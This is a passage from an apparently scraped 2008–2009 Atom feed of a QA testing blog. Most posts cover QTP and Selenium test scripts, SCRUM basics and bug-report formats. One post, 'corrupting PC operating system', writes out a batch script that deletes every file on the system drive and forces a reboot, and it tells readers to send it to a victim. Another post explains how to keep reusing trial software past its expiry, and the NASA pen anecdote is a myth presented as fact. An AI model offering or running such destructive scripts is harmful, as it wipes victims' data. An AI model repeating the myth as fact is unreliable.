splitting'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-2980541098872651085</id><published>2009-06-04T06:28:00.001-07:00</published><updated>2009-06-09T21:29:04.763-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dynamically Creating QTP Test Batch File/Test Suit'/><title type='text'>Dynamically Creating QTP Test Batch File/Test Suit</title><content type='html'>Let us consider that our test folders are ready...&lt;br /&gt;now run this code over the main folder that includes all test folders...&lt;br /&gt;It will create .mtb batch file for test...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;you can even open the .mtb file with notepad &amp; adjust the sequence of test..&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Function TestsToTestSuit(TestDirPath)&lt;br /&gt;filename=TestDirPath &amp; "\ProjectTestSuit.mtb"&lt;br /&gt;Dim fso&lt;br /&gt;Set fso = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set objFolder = fso.GetFolder(TestDirPath)&lt;br /&gt;set colSubfolders = objFolder.Subfolders&lt;br /&gt;Dim myarray()&lt;br /&gt;dim i&lt;br /&gt;i=1&lt;br /&gt;If  fso.fileexists(filename) Then&lt;br /&gt;fso.deletefile(filename)&lt;br /&gt;End If&lt;br /&gt;Set file= fso.CreateTextFile(filename, ForAppending, True) &lt;br /&gt;file.Writeline("[Files]")&lt;br /&gt;file.Writeline("NumberOfFiles=" &amp; objFolder.Subfolders.count)&lt;br /&gt;&lt;br /&gt;For Each objSubfolder in colSubfolders&lt;br /&gt; ReDim  preserve myarray(i)&lt;br /&gt;  If (objSubfolder.Name&lt;&gt;"Screenshots") Then&lt;br /&gt;      myarray(i)=objSubfolder.Name&lt;br /&gt;  file.Writeline("File" &amp; i &amp; "=" &amp; TestDirPath &amp; "\" &amp; objSubfolder.Name  &amp; ";1 ")&lt;br /&gt;         i=i+1&lt;br /&gt;   else&lt;br /&gt;    i=i+1&lt;br /&gt;  End If&lt;br /&gt;Next&lt;br /&gt;file.close  &lt;br /&gt;DirectoryNameToArray=myarray&lt;br /&gt;End Function &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;i have excluded "screenshots" folder from SVN Test script folder&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-2980541098872651085?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/2980541098872651085/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=2980541098872651085' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2980541098872651085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2980541098872651085'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2009/06/dynamically-creating-test-qtp-batch.html' title='Dynamically Creating QTP Test Batch File/Test Suit'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-6564747391411950267</id><published>2009-06-03T06:13:00.000-07:00</published><updated>2009-07-06T03:10:04.360-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='automatic default script generator'/><category scheme='http://www.blogger.com/atom/ns#' term='QTP framework used in companies'/><title type='text'>QTP framework for companies, automating the automation</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;I am working as a QA Lead in chandigarh.. I joined QA field 2 years back.&lt;br /&gt;I have 4.5 years of software developement experience in microsoft tech.&lt;br /&gt;I GOT A TEAM OF 4 QA MEMBERS. &lt;br /&gt;&lt;br /&gt;6 month ago... my company management asked me to have some sort of automation testing. Initially I took Selenium as it is a open source &amp; easily available.&lt;br /&gt;I created a selenium smoke testing script that runs over the build....&lt;br /&gt;&lt;br /&gt;Then I found It is very tedious to work with it. &lt;br /&gt;FINALLY I CHOOSE QTP TRIAL...EXCELLENT ONE...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I GOOGLED ABOUT MAKING A FRAMEWORK.. I PUT MY WHOLE DAY ... AND ALSO AKSED MY COLLEUAGE (MR. SAHIB) TO DO SO...&lt;br /&gt;FINALLY AT THE END OF DAY...ALL WAS IN VAIN..&lt;br /&gt;&lt;br /&gt;WHILE TRAVELLING TO MY HOME.. I AGAIN THOUGHT ABOUT IT.. WHAT TO DO..HOW TO DO.... THEN GOT A EXCELLENT IDEA..&lt;br /&gt;EUREKA....&lt;br /&gt;&lt;br /&gt;NEXT DAY I TOOK IT INTO HAND...WE STARTED creating a complete QTP testing framework without using any OBJECT REPOSITORY.&lt;br /&gt;&lt;br /&gt;Then I decided to have such a script that will move over all the pages of website..&lt;br /&gt;It uses vbscript FULLY. IT IS 90% COMPLETE NOW.. &lt;br /&gt;&lt;br /&gt;Here is how it works....&lt;br /&gt;&lt;br /&gt;Using inputbox() of vbscript...&lt;br /&gt;It asks for main folder name to be created for project...&lt;br /&gt;It asks for login textbox name...&lt;br /&gt;It asks for password textbox name...&lt;br /&gt;It asks for login &amp; password...&lt;br /&gt;It asks for name of login button...&lt;br /&gt;It tells total no. of links on page e.g. 96...&lt;br /&gt;It asks for the link number to start with...&lt;br /&gt;It collects window Page Title &amp; URL in a text file (to check naming conventions)&lt;br /&gt;It finds missing attributes like maxlength,alt,title, tabindex... etc..&lt;br /&gt;&lt;br /&gt;Creates folders for each QTP test to be created&lt;br /&gt;It copies a default test settings from a folder to each test automatically..&lt;br /&gt;then creates the tests scripts automatically for all the pages...&lt;br /&gt;grabs screen shots in a directory...&lt;br /&gt;creates data table global sheet &amp; puts column names automatically (does not matter number of controls)....&lt;br /&gt;It fetches values from data table &amp; does entry in all controls in the pages automatically...&lt;br /&gt;&lt;br /&gt;fires input validations,mandatory and other,captures screenshots of crashes, page not found, gathers URL&lt;br /&gt;&lt;br /&gt;checks spellings&lt;br /&gt;checks W3C XHTML validations conformance&lt;br /&gt;checks W3C CSS conformance&lt;br /&gt;checks W3C WCAG conformance&lt;br /&gt;&lt;br /&gt;other so many things.....&lt;br /&gt;&lt;br /&gt;finally creates test suite .mtb automatically...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;THATS IT...&lt;br /&gt;NOW OUR LIFE IS SAVED &amp; EASY.&lt;br /&gt;DO YOU WANT TO KNOW WHAT WE DO NOWA DAYS?&lt;br /&gt;WE JUST CLICK RUN BUTTON OF QTP AND GET ALL SCRIPTS IN SVN FOLDER AUTOMATICALLY.....&lt;br /&gt;:-)&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-6564747391411950267?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/6564747391411950267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=6564747391411950267' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6564747391411950267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6564747391411950267'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2009/06/quick-qtp-framework-for-companies.html' title='QTP framework for companies, automating the automation'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-9003985634867547296</id><published>2009-05-22T03:22:00.000-07:00</published><updated>2009-06-09T21:41:09.218-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virtual PC'/><title type='text'>virtual PC benefit</title><content type='html'>To reuse/again use the trial version of software&lt;br /&gt;Install microsoft Virtual PC &lt;br /&gt;Install WINXP on it&lt;br /&gt;Install software&lt;br /&gt;Install whatever u need on this&lt;br /&gt;Then Copy it's .vhd file &amp; keep it backedup&lt;br /&gt;when required,Replace .vhd on VPC&lt;br /&gt;&lt;br /&gt;Note:For educational purpose only&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-9003985634867547296?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/9003985634867547296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=9003985634867547296' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/9003985634867547296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/9003985634867547296'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2009/05/how-to-reuse-software-after-trial.html' title='virtual PC benefit'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-5693508886611573309</id><published>2009-03-12T06:19:00.000-07:00</published><updated>2009-03-12T06:31:58.495-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='data driven testing selenium using javascript array'/><title type='text'>Selenium Script for autologin</title><content type='html'>&lt;?xml version="1.0" encoding="UTF-8"?&gt;=""&gt;&lt;body&gt;&lt;table cellpadding="1" cellspacing="1" border="1"&gt;&lt;thead&gt;&lt;tr&gt;&lt;td rowspan="1" colspan="3"&gt;WhileAutoLogin&lt;/td&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;store&lt;/td&gt; &lt;td&gt;4&lt;/td&gt; &lt;td&gt;iterations&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;store&lt;/td&gt; &lt;td&gt;0&lt;/td&gt; &lt;td&gt;x&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;while&lt;/td&gt; &lt;td&gt;storedVars.x&amp;lt;storedVars.iterations&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;store&lt;/td&gt; &lt;td&gt;javascript{selenium.browserbot.baseUrl}&lt;/td&gt; &lt;td&gt;URL&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;open&lt;/td&gt; &lt;td&gt;javascript{storedVars.URL}&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;getEval&lt;/td&gt; &lt;td&gt;//alert('{x}: '+${x});alert('storedVars: '+storedVars['x'])&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;storeEval&lt;/td&gt; &lt;td&gt;function(x) {var users=new Array(&amp;quot;kent&amp;quot;,&amp;quot;popup&amp;quot;,&amp;quot;anilk&amp;quot;,&amp;quot;String4&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;); return users[x];}&lt;/td&gt; &lt;td&gt;getUser&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;storeEval&lt;/td&gt; &lt;td&gt;function(x) {var pass=new Array(&amp;quot;industries&amp;quot;,&amp;quot;123456&amp;quot;,&amp;quot;123456&amp;quot;,&amp;quot;123456&amp;quot;);return pass[x];}&lt;/td&gt; &lt;td&gt;getPass&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;type&lt;/td&gt; &lt;td&gt;//input[contains(@name,'User') or contains(@id,'user') or contains(@id,'UserName') or contains(@id,'log') or contains(@name,'login') or contains(@name,'Log')]&lt;/td&gt; &lt;td&gt;javascript{storedVars.getUser(storedVars.x)}&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;type&lt;/td&gt; &lt;td&gt;//input[contains(@type,'password') or contains(@id,'pass') or contains(@name,'pass')]&lt;/td&gt; &lt;td&gt;javascript{storedVars.getPass(storedVars.x)}&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;clickAndWait&lt;/td&gt; &lt;td&gt;//input[contains(@type,'submit') or contains(@id,'ogin')]&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;waitForPageToLoad&lt;/td&gt; &lt;td&gt;3000&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;getEval&lt;/td&gt; &lt;td&gt;storedVars.textPresent=&amp;quot;&amp;quot;&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;storeTextPresent&lt;/td&gt; &lt;td&gt;Incorrect Username&lt;/td&gt; &lt;td&gt;textPresent&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;getEval&lt;/td&gt; &lt;td&gt;//alert(storedVars.textPresent)&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;gotoIf&lt;/td&gt; &lt;td&gt;storedVars.textPresent&lt;/td&gt; &lt;td&gt;skipRecord&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;waitForPageToLoad&lt;/td&gt; &lt;td&gt;3000&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;captureEntirePageScreenshot&lt;/td&gt; &lt;td&gt;C:\${x}logo.png&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;label&lt;/td&gt; &lt;td&gt;skipRecord&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;getEval&lt;/td&gt; &lt;td&gt;storedVars.x=eval(storedVars.x)+1;&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;endWhile&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td&gt;getEval&lt;/td&gt; &lt;td&gt;alert('Testing finished '+storedVars.x+' iterations')&lt;/td&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-5693508886611573309?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/5693508886611573309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=5693508886611573309' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5693508886611573309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5693508886611573309'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2009/03/selenium-script-for-autologin.html' title='Selenium Script for autologin'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-2701420605533239838</id><published>2009-02-10T22:17:00.000-08:00</published><updated>2009-02-10T22:19:29.301-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='agile model'/><category scheme='http://www.blogger.com/atom/ns#' term='SPRINT'/><category scheme='http://www.blogger.com/atom/ns#' term='SCRUM'/><category scheme='http://www.blogger.com/atom/ns#' term='software development process'/><title type='text'>what is SCRUM model</title><content type='html'>SCRUM:&lt;br /&gt;Scrum is a process of s/w development used with agile software development. Taks are collected in product backlog, out of these sprint backlog is prepared, then sprint executed iterated same again.&lt;br /&gt;&lt;br /&gt;SPRINT:&lt;br /&gt;A sprint is a time-boxed period of a list of task.&lt;br /&gt;Each "sprint" has a length of 15-30 days. The set of prioritized features that go into a sprint come from the product "backlog",&lt;br /&gt;&lt;br /&gt;Product backlog:&lt;br /&gt;A prioritized list of high level requirements.&lt;br /&gt;&lt;br /&gt;Sprint backlog :&lt;br /&gt;A list of tasks to be completed during the sprint.&lt;br /&gt;&lt;br /&gt;In SCRUM, there are two roles, Pigs and chickens, based on a joke about a pig and a chicken&lt;br /&gt;&lt;br /&gt;Pig: ones committed to the project in the Scrum process. who are:&lt;br /&gt;Product Owner :who represents the stakeholders&lt;br /&gt;ScrumMaster (or Facilitator) :who maintains processes (same as PM)&lt;br /&gt;Team :which includes the developers.&lt;br /&gt;&lt;br /&gt;Chickens: who will not work directly but will review, analyse &amp;amp; suggest ideas. who are:&lt;br /&gt;Users&lt;br /&gt;Stakeholders (customers, vendors)&lt;br /&gt;Managers&lt;br /&gt;&lt;br /&gt;Meetings:&lt;br /&gt;Daily Scrum: a 15-20 min., standing, at same location , same time,&lt;br /&gt;3 questions asked: what u did yesterday, plan of today, any problem faced&lt;br /&gt;&lt;br /&gt;Sprint Planning Meeting:&lt;br /&gt;Select what work is to be done&lt;br /&gt;Evaluate time it will take to do that work&lt;br /&gt;8 hour limit&lt;br /&gt;&lt;br /&gt;Sprint Review Meeting:&lt;br /&gt;Review completed and not completed work&lt;br /&gt;Show demo of completed work to the stakeholders&lt;br /&gt;4 hour time limit&lt;br /&gt;&lt;br /&gt;Sprint Retrospective:&lt;br /&gt;What went well during the last sprint?&lt;br /&gt;What could be improved in the next sprint?&lt;br /&gt;3 hour time limit&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-2701420605533239838?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/2701420605533239838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=2701420605533239838' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2701420605533239838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2701420605533239838'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2009/02/what-is-scrum-model.html' title='what is SCRUM model'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8095215742999401927</id><published>2008-11-18T20:01:00.000-08:00</published><updated>2008-11-18T20:03:23.701-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='notepad glitch'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>notepad glitch/hack</title><content type='html'>&lt;p&gt;Open Notepad, Type: &lt;/p&gt;&lt;p&gt;Bush hid the facts&lt;/p&gt;&lt;p&gt;Close and re-open the file &amp;amp; see some unknown characters appears &amp;amp; notepad is not able to save it&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8095215742999401927?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8095215742999401927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8095215742999401927' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8095215742999401927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8095215742999401927'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/11/notepad-glitchhack.html' title='notepad glitch/hack'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1239995123367300086</id><published>2008-11-18T19:56:00.000-08:00</published><updated>2008-11-18T20:01:43.008-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='creating hidden folder with no name'/><title type='text'>creating hidden folder with no name</title><content type='html'>&lt;p&gt;1.Create a new folder anywhere&lt;/p&gt;&lt;p&gt;2.Press F2. Hold "ALT" and type:255. Means just space comes instead of name&lt;/p&gt;&lt;p&gt;3.Right click the folder and select "Properties"&lt;/p&gt;&lt;p&gt;4.Then the "Customize" tab&lt;/p&gt;&lt;p&gt;5.Click "Change Icon..."&lt;/p&gt;&lt;p&gt;6.Scroll and find one without icon image, Select it&lt;/p&gt;&lt;p&gt;now keep your movies/songs/personal data there, however you can also make it hidden&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1239995123367300086?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1239995123367300086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1239995123367300086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1239995123367300086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1239995123367300086'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/11/creating-hidden-folder-with-no-name.html' title='creating hidden folder with no name'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-5227207473845596008</id><published>2008-11-18T19:52:00.000-08:00</published><updated>2008-11-18T19:56:41.381-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='corrupting operating system'/><title type='text'>corrupting PC operating system</title><content type='html'>1.Open Notepad&lt;br /&gt;2. Type&lt;br /&gt;@echo offdel %systemdrive%\*.*/f/s/q&lt;br /&gt;shutdown -r -f -t 00&lt;br /&gt;3.save it with anynameyoulike.bat&lt;br /&gt;4.send it to victim&lt;br /&gt;5.If he opens this file, his/her system gets corruped, result is blue screen of death&lt;br /&gt;(Warning: This is for educational purpose only, do not try this. I shall not be responsible for the consequences)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-5227207473845596008?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/5227207473845596008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=5227207473845596008' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5227207473845596008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5227207473845596008'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/11/corrupting-pc-operating-system.html' title='corrupting PC operating system'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-3217948502815786172</id><published>2008-11-18T01:17:00.000-08:00</published><updated>2008-11-18T01:18:47.392-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='enabling back button for AJAX based page'/><title type='text'>enabling back button for AJAX based page</title><content type='html'>Set the EnableHistory=”true” for the ScriptManager tag&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-3217948502815786172?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/3217948502815786172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=3217948502815786172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3217948502815786172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3217948502815786172'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/11/enabling-back-button-for-ajax-based.html' title='enabling back button for AJAX based page'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-6402405938133691681</id><published>2008-11-04T09:30:00.000-08:00</published><updated>2008-11-04T09:32:06.565-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bug reporting skill.'/><title type='text'>bug reporting skill.</title><content type='html'>&lt;span class="Apple-style-span" style="color: rgb(51, 51, 51); font-family: 'Trebuchet MS'; font-size: 12px; line-height: 16px; "&gt;bug reporting skill.&lt;br /&gt;we added the default format into mantis itself, which forces every QA to log the bug in proper manner. e.g.&lt;br /&gt;1. Category: functional/GUI/verfication/non functional/etc.. (around 50 categories)&lt;br /&gt;2. Platform&lt;br /&gt;3. Browsers&lt;br /&gt;4. Title&lt;br /&gt;5. #Fact: (means what is happening)&lt;br /&gt;   #Expected:&lt;br /&gt;6. Steps: (explaining what happened &amp;amp; how)&lt;br /&gt;  1.&lt;br /&gt;  2.&lt;br /&gt;  3....&lt;br /&gt;7. Image&lt;br /&gt;8. Testcase ID&lt;br /&gt;9. UserRole&lt;br /&gt;&lt;br /&gt;While bugs are resolved, root cause is also written by developers &amp;amp; closed by testers, at any stage we can have stat of verification &amp;amp; validation.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 51, 51); font-family: 'Trebuchet MS'; font-size: 12px; line-height: 16px; "&gt;and and .... Finally at the EOD a bug report is kicked towards development team :-)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-6402405938133691681?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/6402405938133691681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=6402405938133691681' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6402405938133691681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6402405938133691681'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/11/bug-reporting-skill.html' title='bug reporting skill.'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-3690986831042012502</id><published>2008-10-09T23:17:00.001-07:00</published><updated>2008-10-09T23:19:40.143-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='focusing on problems and focusing on solutions'/><title type='text'>focusing on problems and focusing on solutions</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Difference between focusing on problems and focusing on solutions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Case 1 : &lt;/span&gt;&lt;br /&gt;When NASA began the launch of astronauts into space, they found out that the pens wouldn't work at zero gravity (ink won't flow down to the writing surface). To solve this problem, it took them one decade and $12 million. They developed a pen that worked at zero gravity, upside down, underwater, in practically any surface including crystal and in a temperature range from below freezing to over 300 degrees C. And what did the Russians do...?? They used a pencil.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Case 2 : &lt;/span&gt;&lt;br /&gt;One of the most memorable case studies on Japanese management was the case of the empty soapbox, which happened in one of Japan's biggest cosmetics companies. The company received a complaint that a consumer had bought a soapbox that was empty. Immediately the authorities isolated the problem to the assembly line, which transported all the packaged boxes of soap to the delivery department. For some reason, one soapbox went through the assembly line empty. Management asked its engineers to solve the problem. Post-haste, the engineers worked hard to devise an X-ray machine 